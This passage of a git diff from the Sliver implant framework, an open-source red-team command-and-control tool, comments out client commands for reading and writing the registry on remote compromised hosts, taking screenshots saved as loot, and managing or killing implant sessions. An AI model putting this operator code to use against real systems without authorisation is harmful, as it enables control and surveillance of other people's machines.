"HKCU", +// "HKLM", +// "HKCC", +// "HKPD", +// "HKU", +// "HKCR", +// } -var validTypes = []string{ - "binary", - "dword", - "qword", - "string", -} +// var validTypes = []string{ +// "binary", +// "dword", +// "qword", +// "string", +// } -func checkHive(hive string) error { - for _, h := range validHives { - if h == hive { - return nil - } - } - return fmt.Errorf("invalid hive %s", hive) -} +// func checkHive(hive string) error { +// for _, h := range validHives { +// if h == hive { +// return nil +// } +// } +// return fmt.Errorf("invalid hive %s", hive) +// } -func getType(t string) (uint32, error) { - var res uint32 - switch t { - case "binary": - res = sliverpb.RegistryTypeBinary - case "dword": - res = sliverpb.RegistryTypeDWORD - case "qword": - res = sliverpb.RegistryTypeQWORD - case "string": - res = sliverpb.RegistryTypeString - default: - return res, fmt.Errorf("invalid type %s", t) - } - return res, nil -} +// func getType(t string) (uint32, error) { +// var res uint32 +// switch t { +// case "binary": +// res = sliverpb.RegistryTypeBinary +// case "dword": +// res = sliverpb.RegistryTypeDWORD +// case "qword": +// res = sliverpb.RegistryTypeQWORD +// case "string": +// res = sliverpb.RegistryTypeString +// default: +// return res, fmt.Errorf("invalid type %s", t) +// } +// return res, nil +// } -// registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version" -func registryReadCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } +// // registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version" +// func registryReadCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } - if session.OS != "windows" { - fmt.Printf(Warn + "Error: command not supported on this operating system.") - return - } +// if session.OS != "windows" { +// fmt.Printf(Warn + "Error: command not supported on this operating system.") +// return +// } - hostname := ctx.Flags.String("hostname") - hive := ctx.Flags.String("hive") - if err := checkHive(hive); err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } +// hostname := ctx.Flags.String("hostname") +// hive := ctx.Flags.String("hive") +// if err := checkHive(hive); err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } - regPath := ctx.Args.String("registry-path") - if regPath == "" { - fmt.Printf(Warn + "you must provide a path") - return - } - if strings.Contains(regPath, "/") { - regPath = strings.ReplaceAll(regPath, "/", "\\") - } - slashIndex := strings.LastIndex(regPath, "\\") - key := regPath[slashIndex+1:] - regPath = regPath[:slashIndex] - regRead, err := rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{ - Hive: hive, - Path: regPath, - Key: key, - Hostname: hostname, - Request: ActiveSession.Request(ctx), - }) +// regPath := ctx.Args.String("registry-path") +// if regPath == "" { +// fmt.Printf(Warn + "you must provide a path") +// return +// } +// if strings.Contains(regPath, "/") { +// regPath = strings.ReplaceAll(regPath, "/", "\\") +// } +// slashIndex := strings.LastIndex(regPath, "\\") +// key := regPath[slashIndex+1:] +// regPath = regPath[:slashIndex] +// regRead, err := rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{ +// Hive: hive, +// Path: regPath, +// Key: key, +// Hostname: hostname, +// Request: ActiveSession.Request(ctx), +// }) - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } - if regRead.Response != nil && regRead.Response.Err != "" { - fmt.Printf(Warn+"Error: %s", regRead.Response.Err) - return - } - fmt.Println(regRead.Value) -} +// if regRead.Response != nil && regRead.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s", regRead.Response.Err) +// return +// } +// fmt.Println(regRead.Value) +// } -// registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32 -func registryWriteCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - var ( - dwordValue uint32 - qwordValue uint64 - stringValue string - binaryValue []byte - ) - session := ActiveSession.Get() - if session == nil { - return - } +// // registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32 +// func registryWriteCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// var ( +// dwordValue uint32 +// qwordValue uint64 +// stringValue string +// binaryValue []byte +// ) +// session := ActiveSession.Get() +// if session == nil { +// return +// } - if session.OS != "windows" { - fmt.Printf(Warn + "Error: command not supported on this operating system.") - return - } - binPath := ctx.Flags.String("path") - hostname := ctx.Flags.String("hostname") - flagType := ctx.Flags.String("type") - valType, err := getType(flagType) - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - hive := ctx.Flags.String("hive") - if err := checkHive(hive); err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } +// if session.OS != "windows" { +// fmt.Printf(Warn + "Error: command not supported on this operating system.") +// return +// } +// binPath := ctx.Flags.String("path") +// hostname := ctx.Flags.String("hostname") +// flagType := ctx.Flags.String("type") +// valType, err := getType(flagType) +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// hive := ctx.Flags.String("hive") +// if err := checkHive(hive); err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } - regPath := ctx.Args.String("registry-path") - value := ctx.Args.String("value") - if regPath == "" || value == "" { - fmt.Printf(Warn + "you must provide a path and a value to write") - return - } - if strings.Contains(regPath, "/") { - regPath = strings.ReplaceAll(regPath, "/", "\\") - } - slashIndex := strings.LastIndex(regPath, "\\") - key := regPath[slashIndex+1:] - regPath = regPath[:slashIndex] - switch valType { - case sliverpb.RegistryTypeBinary: - var ( - v []byte - err error - ) - if binPath == "" { - v, err = hex.DecodeString(value) - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - } else { - v, err = ioutil.ReadFile(binPath) - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - } - binaryValue = v - case sliverpb.RegistryTypeDWORD: - v, err := strconv.ParseUint(value, 10, 32) - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - dwordValue = uint32(v) - case sliverpb.RegistryTypeQWORD: - v, err := strconv.ParseUint(value, 10, 64) - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - qwordValue = v - case sliverpb.RegistryTypeString: - stringValue = value - default: - fmt.Printf(Warn + "Invalid type") - return - } - regWrite, err := rpc.RegistryWrite(context.Background(), &sliverpb.RegistryWriteReq{ - Request: ActiveSession.Request(ctx), - Hostname: hostname, - Hive: hive, - Path: regPath, - Type: valType, - Key: key, - StringValue: stringValue, - DWordValue: dwordValue, - QWordValue: qwordValue, - ByteValue: binaryValue, - }) +// regPath := ctx.Args.String("registry-path") +// value := ctx.Args.String("value") +// if regPath == "" || value == "" { +// fmt.Printf(Warn + "you must provide a path and a value to write") +// return +// } +// if strings.Contains(regPath, "/") { +// regPath = strings.ReplaceAll(regPath, "/", "\\") +// } +// slashIndex := strings.LastIndex(regPath, "\\") +// key := regPath[slashIndex+1:] +// regPath = regPath[:slashIndex] +// switch valType { +// case sliverpb.RegistryTypeBinary: +// var ( +// v []byte +// err error +// ) +// if binPath == "" { +// v, err = hex.DecodeString(value) +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// } else { +// v, err = ioutil.ReadFile(binPath) +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// } +// binaryValue = v +// case sliverpb.RegistryTypeDWORD: +// v, err := strconv.ParseUint(value, 10, 32) +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// dwordValue = uint32(v) +// case sliverpb.RegistryTypeQWORD: +// v, err := strconv.ParseUint(value, 10, 64) +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// qwordValue = v +// case sliverpb.RegistryTypeString: +// stringValue = value +// default: +// fmt.Printf(Warn + "Invalid type") +// return +// } +// regWrite, err := rpc.RegistryWrite(context.Background(), &sliverpb.RegistryWriteReq{ +// Request: ActiveSession.Request(ctx), +// Hostname: hostname, +// Hive: hive, +// Path: regPath, +// Type: valType, +// Key: key, +// StringValue: stringValue, +// DWordValue: dwordValue, +// QWordValue: qwordValue, +// ByteValue: binaryValue, +// }) - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - if regWrite.Response != nil && regWrite.Response.Err != "" { - fmt.Printf(Warn+"Error: %v", regWrite.Response.Err) - return - } - fmt.Printf(Info + "Value written to registry\n") -} +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// if regWrite.Response != nil && regWrite.Response.Err != "" { +// fmt.Printf(Warn+"Error: %v", regWrite.Response.Err) +// return +// } +// fmt.Printf(Info + "Value written to registry\n") +// } -func regCreateKeyCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } +// func regCreateKeyCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// return +// } - hostname := ctx.Flags.String("hostname") - hive := ctx.Flags.String("hive") - if err := checkHive(hive); err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } +// hostname := ctx.Flags.String("hostname") +// hive := ctx.Flags.String("hive") +// if err := checkHive(hive); err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } - regPath := ctx.Args.String("registry-path") - if regPath == "" { - fmt.Printf(Warn + "you must provide a path") - return - } - if strings.Contains(regPath, "/") { - regPath = strings.ReplaceAll(regPath, "/", "\\") - } - slashIndex := strings.LastIndex(regPath, "\\") - key := regPath[slashIndex+1:] - regPath = regPath[:slashIndex] - createKeyResp, err := rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{ - Hive: hive, - Path: regPath, - Key: key, - Hostname: hostname, - Request: ActiveSession.Request(ctx), - }) +// regPath := ctx.Args.String("registry-path") +// if regPath == "" { +// fmt.Printf(Warn + "you must provide a path") +// return +// } +// if strings.Contains(regPath, "/") { +// regPath = strings.ReplaceAll(regPath, "/", "\\") +// } +// slashIndex := strings.LastIndex(regPath, "\\") +// key := regPath[slashIndex+1:] +// regPath = regPath[:slashIndex] +// createKeyResp, err := rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{ +// Hive: hive, +// Path: regPath, +// Key: key, +// Hostname: hostname, +// Request: ActiveSession.Request(ctx), +// }) - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } - if createKeyResp.Response != nil && createKeyResp.Response.Err != "" { - fmt.Printf(Warn+"Error: %s", createKeyResp.Response.Err) - return - } - fmt.Printf(Info+"Key created at %s\\%s", regPath, key) -} +// if createKeyResp.Response != nil && createKeyResp.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s", createKeyResp.Response.Err) +// return +// } +// fmt.Printf(Info+"Key created at %s\\%s", regPath, key) +// } diff --git a/client/command/screenshot.go b/client/command/screenshot.go index 2d0f9af85c..7656b99fd1 100644 --- a/client/command/screenshot.go +++ b/client/command/screenshot.go @@ -1,75 +1,75 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "context" - "fmt" - "io/ioutil" - "path" - "time" +// import ( +// "context" +// "fmt" +// "io/ioutil" +// "path" +// "time" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/desertbit/grumble" -) +// "github.com/desertbit/grumble" +// ) -func screenshot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } +// func screenshot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } - if session.OS != "windows" && session.OS != "linux" { - fmt.Printf(Warn+"Not implemented for %s\n", session.OS) - return - } +// if session.OS != "windows" && session.OS != "linux" { +// fmt.Printf(Warn+"Not implemented for %s\n", session.OS) +// return +// } - screenshot, err := rpc.Screenshot(context.Background(), &sliverpb.ScreenshotReq{ - Request: ActiveSession.Request(ctx), - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } +// screenshot, err := rpc.Screenshot(context.Background(), &sliverpb.ScreenshotReq{ +// Request: ActiveSession.Request(ctx), +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } - timestamp := time.Now().Format("20060102150405") - tmpFileName := path.Base(fmt.Sprintf("screenshot_%s_%d_%s_*.png", session.Name, session.ID, timestamp)) - tmpFile, err := ioutil.TempFile("", tmpFileName) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - err = ioutil.WriteFile(tmpFile.Name(), screenshot.Data, 0600) - if err != nil { - fmt.Printf(Warn+"Error writting file: %s\n", err) - return - } - fmt.Printf(bold+"Screenshot written to %s\n", tmpFile.Name()) +// timestamp := time.Now().Format("20060102150405") +// tmpFileName := path.Base(fmt.Sprintf("screenshot_%s_%d_%s_*.png", session.Name, session.ID, timestamp)) +// tmpFile, err := ioutil.TempFile("", tmpFileName) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// err = ioutil.WriteFile(tmpFile.Name(), screenshot.Data, 0600) +// if err != nil { +// fmt.Printf(Warn+"Error writting file: %s\n", err) +// return +// } +// fmt.Printf(bold+"Screenshot written to %s\n", tmpFile.Name()) - if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) { - err = AddLootFile(rpc, fmt.Sprintf("[screenshot] %s", timestamp), tmpFileName, screenshot.Data, false) - if err != nil { - fmt.Printf(Warn+"Failed to save output as loot: %s\n", err) - } else { - fmt.Printf(clearln + Info + "Output saved as loot\n") - } - } -} +// if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) { +// err = AddLootFile(rpc, fmt.Sprintf("[screenshot] %s", timestamp), tmpFileName, screenshot.Data, false) +// if err != nil { +// fmt.Printf(Warn+"Failed to save output as loot: %s\n", err) +// } else { +// fmt.Printf(clearln + Info + "Output saved as loot\n") +// } +// } +// } diff --git a/client/command/sessions.go b/client/command/sessions.go index fa4f88da36..e970ff6ed9 100644 --- a/client/command/sessions.go +++ b/client/command/sessions.go @@ -1,235 +1,235 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "bytes" - "context" - "errors" - "fmt" - "sort" - "strings" - "text/tabwriter" - - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - - "github.com/desertbit/grumble" -) - -func sessions(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - - interact := ctx.Flags.String("interact") - kill := ctx.Flags.String("kill") - killAll := ctx.Flags.Bool("kill-all") - clean := ctx.Flags.Bool("clean") - - sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - if killAll { - ActiveSession.Background() - for _, session := range sessions.Sessions { - err := killSession(session, true, rpc) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } - fmt.Printf(Info+"\nKilled %s (%d)\n", session.Name, session.ID) - } - return - } - - if clean { - ActiveSession.Background() - for _, session := range sessions.Sessions { - if session.IsDead { - err := killSession(session, true, rpc) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } - fmt.Printf(Info+"\nKilled %s (%d)\n", session.Name, session.ID) - } - } - return - } - if kill != "" { - session := GetSession(kill, rpc) - activeSession := ActiveSession.Get() - if activeSession != nil && session.ID == activeSession.ID { - ActiveSession.Background() - } - err := killSession(session, true, rpc) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } - return - } - - if interact != "" { - session := GetSession(interact, rpc) - if session != nil { - ActiveSession.Set(session) - fmt.Printf(Info+"Active session %s (%d)\n", session.Name, session.ID) - } else { - fmt.Printf(Warn+"Invalid session name or session number: %s\n", interact) - } - } else { - sessionsMap := map[uint32]*clientpb.Session{} - for _, session := range sessions.GetSessions() { - sessionsMap[session.ID] = session - } - if 0 < len(sessionsMap) { - printSessions(sessionsMap) - } else { - fmt.Printf(Info + "No sessions šŸ™\n") - } - } -} - -/* - So this method is a little more complex than you'd maybe think, - this is because Go's tabwriter aligns columns by counting bytes - and since we want to modify the color of the active sliver row - the number of bytes per row won't line up. So we render the table - into a buffer and note which row the active sliver is in. Then we - write each line to the term and insert the ANSI codes just before - we display the row. -*/ -func printSessions(sessions map[uint32]*clientpb.Session) { - outputBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) - - // Column Headers - fmt.Fprintln(table, "ID\tName\tTransport\tRemote Address\tHostname\tUsername\tOperating System\tLast Check-in\tHealth\t") - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n", - strings.Repeat("=", len("ID")), - strings.Repeat("=", len("Name")), - strings.Repeat("=", len("Transport")), - strings.Repeat("=", len("Remote Address")), - strings.Repeat("=", len("Hostname")), - strings.Repeat("=", len("Username")), - strings.Repeat("=", len("Operating System")), - strings.Repeat("=", len("Last Check-in")), - strings.Repeat("=", len("Health"))) - // strings.Repeat("=", len("Burned"))) - - // Sort the keys because maps have a randomized order - var keys []int - for _, session := range sessions { - keys = append(keys, int(session.ID)) - } - sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's - - activeIndex := -1 - for index, key := range keys { - session := sessions[uint32(key)] - if ActiveSession.Get() != nil && ActiveSession.Get().ID == session.ID { - activeIndex = index + 2 // Two lines for the headers - } - - var SessionHealth string - if session.IsDead { - SessionHealth = bold + red + "[DEAD]" + normal - } else { - SessionHealth = bold + green + "[ALIVE]" + normal - } - burned := "" - if session.Burned { - burned = "šŸ”„" - } - - fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n", - session.ID, - session.Name, - session.Transport, - session.RemoteAddress, - session.Hostname, - session.Username, - fmt.Sprintf("%s/%s", session.OS, session.Arch), - session.LastCheckin, - SessionHealth, - burned, - ) - } - table.Flush() - - if activeIndex != -1 { - lines := strings.Split(outputBuf.String(), "\n") - for lineNumber, line := range lines { - if len(line) == 0 { - continue - } - if lineNumber == activeIndex { - fmt.Printf("%s%s%s\n", green, line, normal) - } else { - fmt.Printf("%s\n", line) - } - } - } else { - fmt.Printf(outputBuf.String()) - } -} - -func use(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := GetSession(ctx.Args.String("session"), rpc) - if session != nil { - ActiveSession.Set(session) - fmt.Printf(Info+"Active session %s (%d)\n", session.Name, session.ID) - } else { - fmt.Printf(Warn+"Invalid session name or session number '%s'\n", ctx.Args.String("session")) - } -} - -func background(ctx *grumble.Context, _ rpcpb.SliverRPCClient) { - ActiveSession.Background() - fmt.Printf(Info + "Background ...\n") -} - -func kill(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - - err := killSession(session, ctx.Flags.Bool("force"), rpc) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - fmt.Printf(Info+"Killed %s (%d)\n", session.Name, session.ID) - ActiveSession.Background() -} - -func killSession(session *clientpb.Session, force bool, rpc rpcpb.SliverRPCClient) error { - if session == nil { - return errors.New("Session does not exist") - } - _, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{ - Request: &commonpb.Request{ - SessionID: session.ID, - }, - Force: force, - }) - return err -} +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "bytes" +// "context" +// "errors" +// "fmt" +// "sort" +// "strings" +// "text/tabwriter" + +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" + +// "github.com/desertbit/grumble" +// ) + +// func sessions(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { + +// interact := ctx.Flags.String("interact") +// kill := ctx.Flags.String("kill") +// killAll := ctx.Flags.Bool("kill-all") +// clean := ctx.Flags.Bool("clean") + +// sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } + +// if killAll { +// ActiveSession.Background() +// for _, session := range sessions.Sessions { +// err := killSession(session, true, rpc) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } +// fmt.Printf(Info+"\nKilled %s (%d)\n", session.Name, session.ID) +// } +// return +// } + +// if clean { +// ActiveSession.Background() +// for _, session := range sessions.Sessions { +// if session.IsDead { +// err := killSession(session, true, rpc) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } +// fmt.Printf(Info+"\nKilled %s (%d)\n", session.Name, session.ID) +// } +// } +// return +// } +// if kill != "" { +// session := GetSession(kill, rpc) +// activeSession := ActiveSession.Get() +// if activeSession != nil && session.ID == activeSession.ID { +// ActiveSession.Background() +// } +// err := killSession(session, true, rpc) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } +// return +// } + +// if interact != "" { +// session := GetSession(interact, rpc) +// if session != nil { +// ActiveSession.Set(session) +// fmt.Printf(Info+"Active session %s (%d)\n", session.Name, session.ID) +// } else { +// fmt.Printf(Warn+"Invalid session name or session number: %s\n", interact) +// } +// } else { +// sessionsMap := map[uint32]*clientpb.Session{} +// for _, session := range sessions.GetSessions() { +// sessionsMap[session.ID] = session +// } +// if 0 < len(sessionsMap) { +// printSessions(sessionsMap) +// } else { +// fmt.Printf(Info + "No sessions šŸ™\n") +// } +// } +// } + +// /* +// So this method is a little more complex than you'd maybe think, +// this is because Go's tabwriter aligns columns by counting bytes +// and since we want to modify the color of the active sliver row +// the number of bytes per row won't line up. So we render the table +// into a buffer and note which row the active sliver is in. Then we +// write each line to the term and insert the ANSI codes just before +// we display the row. +// */ +// func printSessions(sessions map[uint32]*clientpb.Session) { +// outputBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) + +// // Column Headers +// fmt.Fprintln(table, "ID\tName\tTransport\tRemote Address\tHostname\tUsername\tOperating System\tLast Check-in\tHealth\t") +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n", +// strings.Repeat("=", len("ID")), +// strings.Repeat("=", len("Name")), +// strings.Repeat("=", len("Transport")), +// strings.Repeat("=", len("Remote Address")), +// strings.Repeat("=", len("Hostname")), +// strings.Repeat("=", len("Username")), +// strings.Repeat("=", len("Operating System")), +// strings.Repeat("=", len("Last Check-in")), +// strings.Repeat("=", len("Health"))) +// // strings.Repeat("=", len("Burned"))) + +// // Sort the keys because maps have a randomized order +// var keys []int +// for _, session := range sessions { +// keys = append(keys, int(session.ID)) +// } +// sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's + +// activeIndex := -1 +// for index, key := range keys { +// session := sessions[uint32(key)] +// if ActiveSession.Get() != nil && ActiveSession.Get().ID == session.ID { +// activeIndex = index + 2 // Two lines for the headers +// } + +// var SessionHealth string +// if session.IsDead { +// SessionHealth = bold + red + "[DEAD]" + normal +// } else { +// SessionHealth = bold + green + "[ALIVE]" + normal +// } +// burned := "" +// if session.Burned { +// burned = "šŸ”„" +// } + +// fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n", +// session.ID, +// session.Name, +// session.Transport, +// session.RemoteAddress, +// session.Hostname, +// session.Username, +// fmt.Sprintf("%s/%s", session.OS, session.Arch), +// session.LastCheckin, +// SessionHealth, +// burned, +// ) +// } +// table.Flush() + +// if activeIndex != -1 { +// lines := strings.Split(outputBuf.String(), "\n") +// for lineNumber, line := range lines { +// if len(line) == 0 { +// continue +// } +// if lineNumber == activeIndex { +// fmt.Printf("%s%s%s\n", green, line, normal) +// } else { +// fmt.Printf("%s\n", line) +// } +// } +// } else { +// fmt.Printf(outputBuf.String()) +// } +// } + +// func use(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := GetSession(ctx.Args.String("session"), rpc) +// if session != nil { +// ActiveSession.Set(session) +// fmt.Printf(Info+"Active session %s (%d)\n", session.Name, session.ID) +// } else { +// fmt.Printf(Warn+"Invalid session name or session number '%s'\n", ctx.Args.String("session")) +// } +// } + +// func background(ctx *grumble.Context, _ rpcpb.SliverRPCClient) { +// ActiveSession.Background() +// fmt.Printf(Info + "Background ...\n") +// } + +// func kill(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } + +// err := killSession(session, ctx.Flags.Bool("force"), rpc) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// fmt.Printf(Info+"Killed %s (%d)\n", session.Name, session.ID) +// ActiveSession.Background() +// } + +// func killSession(session *clientpb.Session, force bool, rpc rpcpb.SliverRPCClient) error { +// if session == nil { +// return errors.New("Session does not exist") +// } +// _, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{ +// Request: &commonpb.Request{ +// SessionID: session.ID, +// }, +// Force: force, +// }) +// return err +// } diff --git a/client/command/set.go b/client/command/set.go index 62f46b418a..24d0478307 100644 --- a/client/command/set.go +++ b/client/command/set.go @@ -1,65 +1,65 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "context" - "fmt" - "regexp" +// import ( +// "context" +// "fmt" +// "regexp" - //consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" +// //consts "github.com/bishopfox/sliver/client/constants" +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/desertbit/grumble" -) +// "github.com/desertbit/grumble" +// ) -func updateSessionCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// func updateSessionCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - // Option to change the agent name - name := ctx.Flags.String("name") - if name != "" { - isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString - if !isAlphanumeric(name) { - fmt.Printf(Warn + "Name must be in alphanumeric only\n") - return - } - } +// // Option to change the agent name +// name := ctx.Flags.String("name") +// if name != "" { +// isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString +// if !isAlphanumeric(name) { +// fmt.Printf(Warn + "Name must be in alphanumeric only\n") +// return +// } +// } - // Option to change the reconnect interval - reconnect := ctx.Flags.Int("reconnect") +// // Option to change the reconnect interval +// reconnect := ctx.Flags.Int("reconnect") - // Option to change the reconnect interval - poll := ctx.Flags.Int("poll") +// // Option to change the reconnect interval +// poll := ctx.Flags.Int("poll") - session, err := rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{ - SessionID: ActiveSession.session.ID, - Name: name, - ReconnectInterval: int32(reconnect), - PollInterval: 